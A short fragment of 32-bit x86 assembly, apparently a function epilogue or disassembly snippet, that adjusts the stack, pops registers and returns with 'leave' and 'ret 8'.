sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8